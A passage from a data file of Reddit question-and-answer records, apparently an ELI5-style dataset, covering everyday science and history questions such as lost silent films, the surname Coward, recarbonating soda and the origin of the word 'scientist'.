sources. Our actual information about Alexander remains, in any event, exactly the same. \n\nI hope you find this information helpful, my little rant notwithstanding! I would encourage you to understand Arrian, Curtius Rufus, and the others on their own terms. :D\n\nFurther reading if you're interested:\n\n* Baynham, Elizabeth. \"Arrian's Sources and Reliability.\" In *The Landmark Arrian*, edited by James Romm, 325-332. New York: Pantheon Books, 2010.\n\n* Ellis, Walter M. *Ptolemy of Egypt.* London and New York: Routledge, 1994. (Chapter 2: \"Ptolemy the Historian,\" 15-20)\n\n* Hammond, N. G. L. *Three Historians of Alexander the Great.* Cambridge: Cambridge University Press, 1983.\n\n* McInerney, Jeremy. \"Arrian and the Alexander Romance.\" *Classical World* 100.4 (2007): 424-430.\n\n* Roisman, Joseph. \"Ptolemy and His Rivals in His History of Alexander.\" *Classical Quarterly* 34.2 (1984): 373-385."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://penelope.uchicago.edu/Thayer/E/Roman/Texts/Diodorus_Siculus/"], ["http://www.livius.org/ps-pz/ptolemies/ptolemy_i_soter4.html", "http://www.livius.org/aj-al/alexander/alexander_z1b.html", "Livius.org"]]}
{"q_id": "4veun9", "title": "is it safe to leave electronics in a hot car?", "selftext": "I'm about to move across the country and will be driving through the south and arizona, where the average temperature is over 100 degrees right now. Will my electronics be safe sitting in my car for a week? Any extra steps I can take to protect them?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4veun9/eli5_is_it_safe_to_leave_electronics_in_a_hot_car/", "answers": {"a_id": ["d5xs054", "d5xx847"], "score": [3, 2], "text": ["its not ideal... but the car should be running when your driving, which will keep it cool enough with AC.\n\nif youre going to leave your car in the sun for a while, might want to take batteries with you, they *could* explode under extreme heat, more likely if they are fully charged.  (but never all that likely)", "Most electronics products have storage and usage temperature ranges. Follow those guidelines because they're there for a reason, aside from batteries there's all manner of components that can be compromised by excessive heat.\n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "6ciq1w", "title": "how come a lot of films from the 1920's and older have become lost, yet a lot of films from the 1930's and forwards are still in existence (despite the continuing use of nitrate films and the lack of need for preservation at the time)?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/6ciq1w/eli5_how_come_a_lot_of_films_from_the_1920s_and/", "answers": {"a_id": ["dhv53um", "dhvcwpx", "dhvf138", "dhvf3hy", "dhwanvm"], "score": [16, 4, 5, 2, 2], "text": ["Well one big reason is that for a very long time, film preservation was not really a thing.  Once a movie was screened at a theatre and it was done, the movie was considered worthless and was scrapped or reused because film is expensive.  Remember, there wasn\u2019t a TV or anything to resell your content to and that meant that if you wanted to save your movie, you had to go through the effort to do that and techniques back then were not good.  \n\nYou mention the 20\u2019s even though movie destruction has been a thing long after the 20\u2019s (a famous example of lost content is old Dr. Who TV episodes) one thing that happened in the 20\u2019s was the great depression.  Lots of companies including movie companies went out of business and movies were just tossed when the doors were closing since they couldn\u2019t afford to store them.\n\nETA:  Film preservation is a really modern concept.  Lots of movies are partially or outright gone forever for various reasons.", "The great depression is the big reason for things not to be historically kept from the 1920s.  \n\nBut there's been lots of footage post WWII that's lost forever too.", "In 1937 20th Century Fox's vault (which contained all of their films made prior to 1932 along with the films of other studios they had acquired) caught fire and burned to the ground. More than 50,000 reels of film were destroyed, causing the loss of a large portion of their back catalog. After this fire greater attention was paid to building storage facilities which had internal firewalls so that a single fire wouldn't destroy everything. \n\nAlso, in the early part of the 20th century films were almost a novelty, whereas by 1930 65% of Americans went to the movies *weekly*.  This massive increase in viewership means that many more copies of a given film were made.", "A huge reason that we lost so many of the early movies was that the material that they used to make the physics film media out of nitrate film. I believe it was switched to a cellulose based material. Most of the nitrate based films either caught on fire or started to disintegrated.", "Once \"talkies\" came out, old silent films were perceived as having zero commercial value. \n\nSimilar to why old videotapes of game shows and talk shows were destroyed. In the days before cable TV, home video, and the internet, why keep a 10 year old episode of \"Johnny Carson\" or a cancelled game show when you know it's never going to air again?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], []]}
{"q_id": "brpu5h", "title": "Many English surnames are related to a profession - where does the name 'Coward' come from, and why did people stick with it?", "selftext": "Names like Smith, Baker, Carpenter are common, but a slightly less common surname is Coward.  Considering the obvious connotations of the word, is there a historical explanation as to why we have a surname like this?  Why wouldn't people just change their surname?!", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/brpu5h/many_english_surnames_are_related_to_a_profession/", "answers": {"a_id": ["eofolzu"], "score": [27], "text": ["You are correct in saying that many English surnames derive from professions, and in this case it is also so.\n\nCoward, the surname, means 'cow-herd', similar to a shepherd being a 'sheep-herd'. In this context, Coward, the surname, derives from Old English *cuhyrde- cu* meaning cow, and *hyrde* or *hierde* meaning herd.\n\n & #x200B;\n\nCoward, the adjective, means 'the one with the tail', insofar as 'tail' is used in such idioms as 'running with his tail between his legs' or 'turning tail', that is to say, to flee or fearfully run away. Coward, the adjective, derives from Anglo-French *couart or couard*, which derives from Old French *coart*, itself deriving from Latin *coe* meaning 'tail' and the *-ard* suffix meaning one who possesses something or has the trait of something, usually in a negative context.  \n\n\nThe spelling of *couart* and it's evolution to the spelling *coward* no doubt was influenced by the spelling of *cow-*derived terms."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "1kf4pw", "title": "Which Founding Father's vision of America do we currently live in now?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1kf4pw/which_founding_fathers_vision_of_america_do_we/", "answers": {"a_id": ["cbod3v0"], "score": [6], "text": ["I'm sorry, this is far too speculative for us, because we can't predict how historical figures might have reacted to current events, so I've removed this question. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "83g74r", "title": "Does a reaction's equilibrium constant change when placed in a high magnetic field?", "selftext": "", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/83g74r/does_a_reactions_equilibrium_constant_change_when/", "answers": {"a_id": ["dvhp9gk"], "score": [7], "text": ["An equilibrium constant is a measure of the energy of the reaction through [this equation](_URL_0_).\n\nThe Paschen-Back effect gives a mechanism for strong magnetic fields to change the energy levels of atoms.  It would be possible for it to unevenly effect one side of the reaction more than another, but I can't think of any simple examples offhand. Under normal conditions like NMR experiments, this would be fairly minor."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.chem.purdue.edu/gchelp/howtosolveit/Thermodynamics/K_from_DelG.html"]]}
{"q_id": "ezpp6", "title": "Can you recarbonate a flat soda / beer with an Alka-Seltzer?", "selftext": "Has anyone tried? Does it change the flavor? COME ON, FLAT DRINKS ARE DISGUSTING, PEOPLE!", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/ezpp6/can_you_recarbonate_a_flat_soda_beer_with_an/", "answers": {"a_id": ["c1c79rf", "c1c7aem", "c1c7c87", "c1c7nx9", "c1c8bz9", "c1c8uo9", "c1c9cay", "c1cbm6l"], "score": [3, 2, 6, 9, 2, 7, 8, 2], "text": ["Alka-seltzer is salty, I've tried sweetening it to make it more palatable to drink on its own, but didn't like it as it was too salty. If you like salty beer/soda, it might \"work\".   But, it's not actually supersaturating the drink with carbon dioxide like store bought soda is in the bottle.  I think you'd have better luck preventing the drink from going flat than fixing it.  ", "Although to an extent it would work, it would still be pretty flat. Maybe if you used like 5 or 6, but at that point I'm pretty sure the flat drink would taste better anyway.  Don't let your soda go flat. ", "From [wikipedia](_URL_1_):\n\"Alka-Seltzer is a combination of aspirin (acetylsalicylic acid), sodium bicarbonate (NaHCO3), and citric acid\".  The fizzing is from the baking soda and citric acid forming CO2, water, and sodium citrate.\"\n\n     C6H8O7(aq)\t+\t3NaHCO3(aq)\t\u2192\t3H2O(l)\t+\t3CO2(g)\t+\tNa3C6H5O7(aq)\n     citric acid\t-\tbaking soda\t\u2192\twater\t+\tcarbon dioxide\t+\tsodium citrate\n\nSo it could work if you don't mind the sodium citrate you are adding to the soda (as well as watering it down).\n\nHowever, you could jury-rig a system where you add alka-seltzer to water, and just feed the CO2 that raises into the liquid.  See:  _URL_0_ (I wouldn't pay for the instructions though).  Carbonation machines seem to claim to only carbonate plain water and wouldn't work with soda.  _URL_2_", "can't you just use dry ice?", "Dry ice in a pressure pot would do it.", "Try Mentos.\n\nDisclaimer: Don't try Mentos", "If its in a 2L plastic bottle: throw some yeast in there, recap, wait a day or two until the bottle is very hard, put back in fridge. This will eat up some of the sugar, though not a ton.\n\nAlso, it might explode.", "Ask r/homebrewing and they'll tell you how to make something called a forced carbonation system.  It requires a bit of an up front investment, but I've saved hundreds by making my own soda and sparkling water (and beer, and mead, and sparkling wine, ect).  Also you can make savory sodas using little or no added sugar.  "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["http://inventionsthatwork.com/carbonator.htm", "http://en.wikipedia.org/wiki/Alka-Seltzer", "http://www.sodastreamusa.com/faq.aspx#c3"], [], [], [], [], []]}
{"q_id": "1usu7p", "title": "Where the Soviet hockey players who lost \"The Miracle on Ice\" game punished for their loss to the USA?", "selftext": "It is one of the most famous Olympic moments in the USA and the American team was treated like heroes, but I am wondering what the response was to the Soviet national team losing to the huge underdogs. ", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1usu7p/where_the_soviet_hockey_players_who_lost_the/", "answers": {"a_id": ["celia9l", "cemhp45"], "score": [184, 3], "text": ["In short, no.\n\nThe Miracle on Ice was not the first major Soviet loss in hockey, and may not even have been their biggest upset: at the 1976 IIHF World Championships the Polish team defeated the USSR (which was largely comprised of the players that would play in the Miracle on Ice) 6-4; for reference, at the 1976 Olympics the USSR defeated Poland 16-1, and had won 12 of the past 13 World Championships. When the IIHF (world governing body of ice hockey) published a list of the 100 greatest international stories for their 100th anniversary in 2008, this game was ranked as [number 39](_URL_0_) (though the Miracle on Ice was #1).\n\nAs well, the majority of the Soviet team would continue to play in international tournaments throughout the 1980s, winning gold at both the 1984 and 1988 Olympics, and six World Championships out of a possible nine before the collapse of the USSR (and medals in the other three years), as well as the 1981 Canada Cup (international tournament hosted by the NHL that was \"best-on-best\"; NHL professionals were allowed to play, which they couldn't in the Olympics until 1998).\n\nAs for Viktor Tikhonov, the coach, he remained as coach of CSKA Moscow until 1996. Backed by the Red Army, he was able to continue the practice of drafting good hockey players into the military so they would have to play for his team; they won 13 consecutive domestic titles (1978-1989); Tikhonov also remained as the national team's coach until 1994, winning the tournaments mentioned above.\n\nNone of this suggests that there was any reprimand by the government. Whether Tikhonov, who has/had a reputation of utilising a dictatorial style of coaching, punished the players is something I can't properly comment on under the subreddit rules; however I will note that CSKA and national team players (who were often one and the same) were confined to barracks for eleven months of the year, forbidden to see their families, and trained extensively in that time. It would not be unusual if Tikhonov further restricted the players freedoms after such a loss.", "Vladislav Tretiak, the Soviet goaltender pulled at 19:59 of the first period in that game, wrote a book called *Tretiak the legend*.  In the chapter focusing on Lake Placid he devotes little time to returning home but does say:\n\n\"When our plane landed at the Moscow airport, the crowds came to meet us and carried some of the other athletes away on their shoulders.  The skier Nikolai Zimyatov was the major hero of the Olympics that year.  We were demonstratively shoved aside and lefe unnoticed.  And rightly so!\""]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.iihf.com/iihf-home/the-iihf/100-year-anniversary/100-top-stories/story-39.html"], []]}
{"q_id": "5jnxy5", "title": "I've often read that Newton called himself a natural philosopher, not a scientist. Even up til the time of Kant, I know Newton was still referred to in this way. When and why did we start calling folks like Newton scientists rather than philosophers?", "selftext": "Basically just the title. I don't have a direct source at hand for Newton himself (its just something several professors have said in conversation), but I do know for sure that Kant refers to Newton in this way in the Third Critique ( 47, 5:308):\n\n >  Everything that Newton expounded in his immortal work on the principles of natural philosophy... can still be learned, but one cannot learn to write inspired poetry\n\n*Edit: Meant to write \"heard\" not \"read\" in the title.", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/5jnxy5/ive_often_read_that_newton_called_himself_a/", "answers": {"a_id": ["dbhvo1e", "dbi6rkg"], "score": [61, 22], "text": ["The word *scientist* was actually invented by a scientist, the British Anglican priest [William Whewhell](_URL_1_), who coincidentally also thought up *phycisist*, and is today remembered for little else outside of academic research.\n\nThe essay [Science: The Story of a Word](_URL_0_) (Annals of Science, vol. 18, no. 2, 1962) traces the meaning of \"science\" and \"scientist\", both philosophically and linguistically, through the ages (the whole thing is worth a read):\n\n >  The name *scientist* was first propounded in the *Quarterly Review* for March, 1834. The anonymous reviewer made the suggestion, too jocularly, however, to be taken entirely in earnest, in the course of a review ... From Todhunter's biography we learn that the reviewer was William Whewell (1796\u20131866). ...\n\nQuoting from that article (which I haven't found the whole text for):\n\n >  The tendency of the sciences has long been an increasing proclivity of separation and dismemberment. The mathematician turns away from the chemist; the chemist from the naturalist; the mathematician, left to himself, divides himself into a pure mathematician and a mixed mathematician, who soon part company; the chemist is perhaps a chemist of electro-chemistry; if so, he leaves common chemical analysis to others; \nbetween the mathematician and the chemist is to be interpolated a '*physicien*' (we have no English name for *him*), who studies heat, moisture and the like. And thus science, even mere physical science, loses all trace of unity. A curious illustration of this result may be observed in the want of any name by which we can designate the students of the knowledge of the material world collectively. We are informed that this difficulty was felt very oppressively by the members of the British Association for the Advancement of Science, at their meetings at York, Oxford and Cambridge, in the last three summers. There was no general term by which these gentlemen could describe themselves with reference to their pursuits. *Philosophers* was felt to be too wide and lofty a term, and was very properly forbidden them by Mr. Coleridge, both in his capacity of philologer and metaphysician; *savans* was rather assuming, besides being French instead of English; some ingenious gentleman [this refers to Whewell himself] proposed that, by analogy with *artist*, they might form *scientist*, and added that there could be no scruple in making free with this termination when we have such words as *sciolist*, *economist*, and *atheist* \u2014 but this was not generally palatable; others attempted to translate the term by which the members of similar associations in Germany have described themselves, but it was not found easy to discover an English equivalent for *Natur-Forscher*. The process of examination which it implies might suggest such undignified compounds as *nature-poker*, or *nature-peeper*; but these were indignantly rejected.\n\nHe later suggested the new word more formally a work under his own name, \"The Philosophy of the Inductive Sciences, Founded Upon Their History\" (London: John W. Parker, 1840).\n\nThe transition from \"natural philsopher\" into the more specific words we know today seems to have taken more than half a century, with some scientists (such as Lord Kelvin and [Michael Faraday](_URL_2_)) initially demurring, and during which random attempts at getting *savant* and *'scient* established failed. By the time [1911 edition of The Concise Concise Oxford Dictionary of Current English](_URL_3_) came out \u2014 which was the first published version of the OED that has all of A-Z (the first full dictionary only came out in 1928) \u2014 *scientist* was in, and entries described people as \"scientists\".", "What we today call \"science\" was for most of its history called \"natural philosophy,\" which is to say, the branch of philosophy that approached questions of the natural world. Today of course we consider this a funny anachronism, but it makes perfect sense if you look at the origins of \"science\" in people like Aristotle, whose work was more \"natural philosophy\" than \"science\" \u2014 it really was a form of philosophy, for better or worse, but it described things like the elements and the body and animals and what have you, with absolutely zero interest in empiricism or experimentation or other hallmarks of \"science.\" \n\nAs noted elsewhere, \"scientist\" and many other \"-ist\" terms did not arise until the 19th century. What is of note here separate from the etymology is that this is exactly the time that what we call science was \"professionalizing\" in England. That is, it was changing from \"speculations that rich people do or sponsor in their spare time\" and into \"a job that people could go through a rather regular career path to end up doing.\" The divisions between scientific disciplines start to become more iron-clad as specialization takes root. Universities becomes more and more the sites of scientific research (as opposed to finishing school for the upper class). And so on. This process took about a century; by the end of the 19th century you still have some people who are sort of in the original model (like Darwin, who straddles the period), but you also have people who are very much recognizable as \"modern\" scientists in their approach to the profession (like Huxley and Wallace). \n\nAs for Newton \u2014 one might even want to call him a natural philosopher even if one did want to use modern terminology. He is very much of a previous period, and his intellectual interests were much broader than what we would typically call a scientist today. Modern scientists would reject the majority of Newton's interests as being non-scientific \u2014 alchemy and theology being chief among them. That's no sin against Newton, to be sure, but I just point it out to emphasize that seeing the part of Newton's work that concerns the natural world as a form of philosophy is not so alien if you look at the work itself in its own context, rather than the very refined and selective versions of it that you would today encounter in a physics or astronomy course (much of which is Newton-translated-into-modern-science by people like Laplace). Newton himself believed that his equations were of great philosophical import and purpose \u2014 in his \"system of the world\" you saw not only equations governing the rotation of the planets, but the hand of God himself, keeping everything from going awry. (Laplace showed that they would not go awry even without a hand of God \u2014 he stamped God out of Newton's equations, so to speak.)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://msu.edu/~pennock5/courses/880/Ross_Scientist.pdf", "https://en.wikipedia.org/wiki/William_Whewell", "https://books.google.com/books?id=Yj7b8oALjugC&amp;pg=PA425&amp;lpg=PA425&amp;dq=it+is+told+of+faraday+that+he+refused+to+be+called+physicist&amp;source=bl&amp;ots=FIXwymWtE0&amp;sig=G78FrOQVUp-9QHoD8L3m9nai49c&amp;hl=en&amp;sa=X&amp;ved=0ahUKEwizitzgj4fRAhUDSyYKHQdgDwoQ6AEIJDAC#v=onepage&amp;q=it%20is%20told%20of%20faraday%20that%20he%20refused%20to%20be%20called%20physicist&amp;f=false", "https://books.google.com/books?id=kbOcAQAAQBAJ&amp;printsec=frontcover&amp;dq=oxford+english+dictionary+1911+scientist&amp;hl=en&amp;sa=X&amp;ved=0ahUKEwjE3fj1kYfRAhUGKCYKHWZ3B3sQ6AEIHDAA#v=onepage&amp;q&amp;f=false"], []]}
{"q_id": "554zkp", "title": "why do mammals and birds have a sense of maternal love and bonding yet reptiles don't?", "selftext": "A side from the fact that they don't receive it", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/554zkp/eli5_why_do_mammals_and_birds_have_a_sense_of/", "answers": {"a_id": ["d87lczf", "d87lh65", "d87qij5"], "score": [9, 5, 2], "text": ["It has to do with brains. Reptilian brains only have basic structures that would make up a human's brain stem. All of their brain structures are centered around survival as well as some of the more base actions and emotions like aggression, fight or flight, etc. Reptiles are literally not hardwired to have the type of emotions and neural connections necessary for maternal love and bonding. Mammalian brains all have the brain structures referred to as the limbic system. That system is credited with being an emotions center, and as such, it contributes to the maternal love and bonding that tends to be present in mammals. Basically, mammals are hardwired to care for their young and develop emotional bonds and reptiles lack the brain structures necessary to create bonds like that.", "Mammal and bird offspring are born relatively weak and helpless.  The development time can be days or years, but many species have to invest some amount of time and resources in their young before sending them off.\n\nThat means that mammal and bird mothers need to have some instinctual drive to care for their offspring, at least for a while.\n\nReptile young are usually born very capable and do not require active parenting, so there was never much of an evolutionary incentive to develop any significant \"parenting\" behavior.  Reptiles pump out lots of babies and assume that a few of them will probably make it.", "While others are answering the general question, I must point out that alligators and crocodiles are very attentive parents. They'll often carry them from the nest to the water and stand guard over them for months.  Some will even allow the hatchlings to take shelter in their mouths (and no, they don't eat them). It can be just the mother, but in some cases, the father will participate. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "u6s0a", "title": "Can we use our own poop to make methane-biofuel?", "selftext": "That would make things super efficient.  Thanks for telling me I'm an idiot in the following comments.", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/u6s0a/can_we_use_our_own_poop_to_make_methanebiofuel/", "answers": {"a_id": ["c4ssqzl"], "score": [3], "text": ["We can, and to an increasing extent, _are_ doing so. Search for 'biogas'."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "64e483", "title": "what is the mechanism that wireless devices use to generate electromagnetic waves, millions per second?", "selftext": "I heard it has something to do with electrons moving back and forth really quickly..how does it do this exactly?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/64e483/eli5_what_is_the_mechanism_that_wireless_devices/", "answers": {"a_id": ["dg1lmur"], "score": [18], "text": ["Electromagnetic waves generated by our current generation wireless technology (what are called \"transverse electromagnetic waves\" or TEM), are thought to be alternating areas of (relatively) strong electric field followed by strong magnetic field followed by strong electric field, etc. The change of intensity of one type of field leads to the creation of the other type like ripples of water on a pond (this phenomenon was explored by Michael Faraday, and described mathematically by James Clerk Maxwell, Oliver Heaviside etc.)\n\nIt follows from their discoveries that charging up a metal conductor (like an antenna) and discharging it rapidly can lead to these TEM waves rippling outwards. Charging and discharging is actually just another way to say \"electrons moving back and forth\" (though they actually move quite slowly), and every time these electrons change direction, another wave ripples outward.\n\nHow do you charge up and discharge an antenna rapidly? Well you need some way to connect it to the positive side and then negative side of a battery (or other source of voltage) millions of times per second. The positive side will suck electrons off the antenna, and the negative side will pump them back on the antenna (this may sound backwards but isn't, electrons are negatively charged and hang out in greater numbers at the negative terminal of a battery).\n\nModern transistors (essentially electrically controlled switches) can switch on and off millions (and billions) of times per seconds, and so are great for this. To do this switching, they only need a small electrical control signal, which is changing exactly as fast as you want the antenna to charge and discharge. These transistors that do the actual charging/discharging are called \"amplifiers\", because they amplify the power of the small control signal to give the antenna a stiff charging and discharging with each cycle.\n\nBut how do you make a small electrical signal change millions of times per second? For that you need what we call an \"oscillator\".\n\nIn modern radios this is usually a special arrangement of transistor amplifiers put in feedback with each other to create an electrical \"ringing\". You know how putting a microphone up to a speaker causes a screeching sound? That's what we call feedback. Same idea, just a much higher pitch screech. We can even change the pitch of the screech electrically by using neat tricks. One circuit that does this is called a Voltage Controlled Oscillator (or VCO), and it uses a neat trick with a diode that lets us easily pick different \"channels\" to broadcast on (you know, all those different spots on your radio dial).\n\nVCOs are not known for making really pure and pitch-perfect tones however, so like a singer before a performance we tune them up. In the radio world, our electrical tuning forks are made from precisely cut pieces of quartz crystal surrounded by yet more transistors. The transistors help keep the fork ringing as long as there is power in the battery. We use precisely cut quartz for this, because when tickled properly it can \"ring\" electrically with a very pure tone (and pure tones are very important - they help the cell tower pick your phone out from the crowd).\n\nSo there you have it. Today's wireless devices start with a pure tone generated by a quartz crystal tuning fork, that is used to tune a screeching-feedback VCO. The (now much cleaner) tone from that VCO is then used to control amplifying transistors, that charge and discharge a piece of metal, that causes ripples of electromagnetism to radiate outwards."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "13zuj8", "title": "What was unemployment like, during your period of expertise? Was there even a concept of such a thing?", "selftext": "Recently, I've been reading a fair bit about modern approaches to the problem of unemployment, and it occurred to me that I know very little about how the ancients dealt with unused labor. I know that Rome had it's slums, but really, that's about all I know - that relative poverty is quite old.\n\nWhat I'd like to know is:\n\nWere there unemployed persons during your period of history, or was there full employment?\n\nIf there were unemployed persons, how were they thought of by the sources we have? How were they treated?\n\nWhat approaches were used by the societies you study to deal with unused labor? Did the emperors of Rome actively think about using the unemployed as recruits for public works projects or the military?\n\nAnything else interesting that you can think of.", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/13zuj8/what_was_unemployment_like_during_your_period_of/", "answers": {"a_id": ["c78lal0", "c78m14p", "c796kat"], "score": [6, 2, 3], "text": ["There is a story in Suetonius that an inventor showed a device to Vespasian that allowed one man to do the work of four in construction (or something like that). Vespasian rewarded him handsomely but did not use the device, as he was unwilling to use something that would put so many out of work.\n\nNow, archaeological evidence, such as art that shows that rather complicated machinery was used in construction, very clearly indicates that the story is apocryphal (despite the howls of Moses Finleyites who want to base entire social theories off a passage in *Suetonius*). But it shows that unemployment as a concept was known in Roman times. More than that is hard to say.", "I don't have any statistics on this (perhaps no one does), but officially unemployment didn't exist in the USSR. It was supposedly eliminated by the rapid industrialization of the 1920s and records stopped as unemployment was officially liquidated in 1930. But labor markets are made of people, so this isn't true. Even if the USSR did manage to achieve full employment, a unemployment rate would still exist due to demographic shifts and labor inefficiency. A good example of this in action is the unemployment in the US in the late 90s. The US was supposedly at full employment,  but because of physical locations of the workers in relation to the jobs, inefficiencies in hiring, inefficiencies of matching those leaving the workforce and those entering, the unemployment rate hovered at 2% if my memory is correct.\n\nSo, lacking statistics, we have to look at anecdotal evidence. Two examples I can think of are the refusniks who attempted to leave the USSR in the 70s and early 80s and were denied and the surge of men who were freed during Khrushchev's prisoner amnesty during the \"Thaw\". In the first case, you have men and women who for whatever reason (many were Jews trying to immigrate to Israel or the US) wanted to leave, but were not allowed to because of their positions (military, scientific, engineering, etc), but were booted from their jobs nonetheless. The second case is thousands (perhaps hundreds of thousands) of men being released from the prison/camp system. Many were political and many were criminals, so you can imagine the impact on the labor force, not to mention the crime rates within the USSR.\n\nAnd of course there are those that simply want to exclude themselves from the labor force and simply don't want to work. I realize that these people would not be included in the US labor statistics because they aren't in the labor force to begin with (like children and retirees), but this portion needs to be included in this analysis. ", "Classical Athens:\n\nOne was condemned for not having  a lot of leisure time and not being able to partake in politics. Further one was expected to only work their own land. Wage labour most likely existed but is a point of contention for many historians. Personally, I think it was more prevalent than many give credit for but many would disagree.\n\nOther types of work were often looked down on as well. The typical picture is one where only agriculture was an honourable living, but recently it is being considered that trade and manufacturing played a larger role. \n\nAttitudes towards unemployment are hard to judge though. Small peasant holdings, which made up a large proportion of Attica, were obviously never unemployed. \n\nSo if one were able to not work, this was a good thing. However, having to eat, and having one's own land, necessitated that unemployment was not a problem for many.\n\nWe even have the curious case in one inheritance case (I'll find the reference if you are interested) where a man is condemned for having worked hard to make a living, and not having been gifted or inherited it."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "ax33y8", "title": "Are Thymine, Adenine, Guanine, and Cytosine present/used in DNA of all living organisms on earth?", "selftext": "Are there any organisms anywhere that dont use ATCG DNA or a variation of it?", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/ax33y8/are_thymine_adenine_guanine_and_cytosine/", "answers": {"a_id": ["ehr3afe", "ehr4ueo", "ehrdfct", "ehrdtpd", "ehrq0yf"], "score": [45, 10, 3, 3, 2], "text": ["As far as I\u2019m aware, all DNA for living things is made from ATCG on Earth. There are viruses and such that use single and double stranded RNA which contains uracil instead of thymine, but those are generally not considered to be living things. ", "Yea all natural life on earth uses DNA, however in recent years there have been break thoughs on synthetic biology and researchers have created synthetic bases that form bonds similar to ATGC. With these they have created stands of DNA with an extra 4 bases. Which is really cool and interesting and will progress synthetic biology immensely.", "Well, yes, as said in this tread before. But there is very recent research on synthetic DNA that made a DNA strand with 8 bases (can't remember their names). So the amount of bases in functioning DNA might be changing soon, but maybe only for synthetic DNA. IDK. but interesting article on it here: [_URL_0_](_URL_0_) ", "Artificially, in the lab, there have been additional bases made recently. \n\n & #x200B;\n\nMore to your question - there are slight differences in some of the bases even within the cells of the same organism. Cytosine residues, in particular, can sport modifications (all of which are related). These include methylcytosine, hydroxymethylcytosine, formylcytosine and carboxylcytosine.\n\n & #x200B;\n\nThese modifications are likely present on RNA as well.\n\n & #x200B;\n\nRNA is the intermediate molecule between DNA and proteins, though it does also have regulatory functions separate from coding for protein. (DNA is precious and doesn't leave the nucleus (in eukaryotes), so it is transcribed into RNA which can leave the nucleus where ribosomes, in the cytosol, take this information to produce proteins ).", "You should try to catch the npr science lab or science hour from this past Friday. They had some researchers on, one of which worked on creating synthetic base pairs x and y\n\nThe gist was all naturally occurring life had a-t/c-g pairings but \u201clife\u201d was not limited to those pairings"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["https://www.nature.com/articles/d41586-019-00650-8"], [], []]}
{"q_id": "bz1dba", "title": "global polar shift", "selftext": "I've been hearing talk about an incoming Polar shift being the cause of recent unstable weather conditions. This sounds like another \"flat Earth\", \"Y2K\", \"2012\" Scare.... Is a polar shift actually viable?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/bz1dba/eli5_global_polar_shift/", "answers": {"a_id": ["eqoqixg", "eqorxww"], "score": [3, 2], "text": ["The Magnetic poles can shift yes. They have in the past and I believe are due to again soon. There is no indication that it will have any impact on weather/climate at all.\n\nSo viable yes, impactful/the cause no.  \n\n\nEDIT: I'm talking about the magnetic poles swapping, If you are talking about the rotational axis then that isn't a thing. Also I am apparently wrong about it being due soon, which is fine cause again litte to no impact.", "**Edit:** It's important to distinguish between shifts in the [Earth's rotational axis](_URL_1_) (which is what OP is referring to, I believe) and geomagnetic reversals, which are very different (but neither imminent nor catastrophic either).\n\nSimply put, no, it isn't. There is overwhelming geological evidence that the fundamental frequencies and amplitudes that underlie the periodic variations in the Earth's orbit have only varied very slightly over the past few hundred million years (indeed, this is the basis of [cyclostratigraphy](_URL_0_)) and there is no evidence whatsoever for any sudden catastrophic shift in the Earth's rotation axis. It's simply impossible for a rapid change in the Earth's rotation axis to occur without some external cataclysmic event such as an enormous meteorite impact. Surface processes such as weather are certainly incapable of having any significant impact. You may have heard of studies showing that processes such as earthquakes or melting ice sheets resulting in slight changes to the length of a day or the Earth's tilt, but these changes are absolutely miniscule and have zero practical impact on humans."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://en.wikipedia.org/wiki/Cyclostratigraphy", "https://en.wikipedia.org/wiki/Cataclysmic_pole_shift_hypothesis"]]}
